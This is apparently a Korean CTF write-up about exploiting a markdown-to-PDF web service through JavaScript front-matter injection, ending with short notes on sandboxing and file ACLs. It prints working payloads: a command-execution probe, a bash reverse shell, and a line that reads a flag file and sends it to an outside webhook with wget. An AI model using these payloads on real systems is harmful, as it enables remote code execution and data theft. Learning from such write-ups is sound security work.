odyssey CTF에 참가했다...
문제도 이해하지 못할 만큼 어려웠다...
가장 만만해 보이는 web문제부터 도전했다.
가운데 textarea에 markdown을 넣어주면 pdf로 변환해주는 기능이다.
지금 작성하는 velog도 markdown으로 작성된다.
Markdown to PDF injection
markdown을 pdf로 변환하는 과정에서 RCE가 발생하는 취약점이 있다고 한다
payload
---js
((require('child_process')).execSync('id'))
---RCE
이 코드를 사용하면 js가 실행되어 RCE가 가능하다
---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/localhost/7777 0>&1'"))
---RCE
해당 코드로 내 pc에 연결을 시도했는데 잘 연결되지 않는다...
ls -al을 통해 directory list를 확인하려 했지만 권한이 없어 보이진 않는데, 처음보는 오류가 계속 발생해서 그냥 cat flag.txt를 열어봤더니 flag가 나왔다.
payload
---js
((require('child_process')).execSync('xd=$(cat /flag.txt) && wget https://webhook.site/165d1295-d458-4c9c-bc8f-8a9395265303/?a=$xd'))
---RCE
문제를 해결하는데 80%~90%를 구글링과 검색으로 시간을 보냈다... 역시 많이 알고 평소에 트렌드를 잘 닦아놔야 겠다!
이 문제는 음...
불필요한 markdown to pdf 서비스가 운영 중인 문제와, 해당 markdown에서 서버의 리소스 까지 접근할 수 있었던 권한문제에 따른 문제인 것 같다.
이를 해결하기 위해, 속도는 느리지만 샌드박싱 환경이나 파일 접근 제어 방식을 통해 서버 설정을 해주면 보안적으로는 좋을 것 같다.
접근 제어 목록 (ACL) 사용
setfacl -m u:user1:rw filename: 'user1'
사용자에게 'filename' 파일에 대한 읽기 및 쓰기 권한을 부여합니다.setfacl -m g:group1:r filename: 'group1'
그룹에게 'filename' 파일에 대한 읽기 권한을 부여합니다.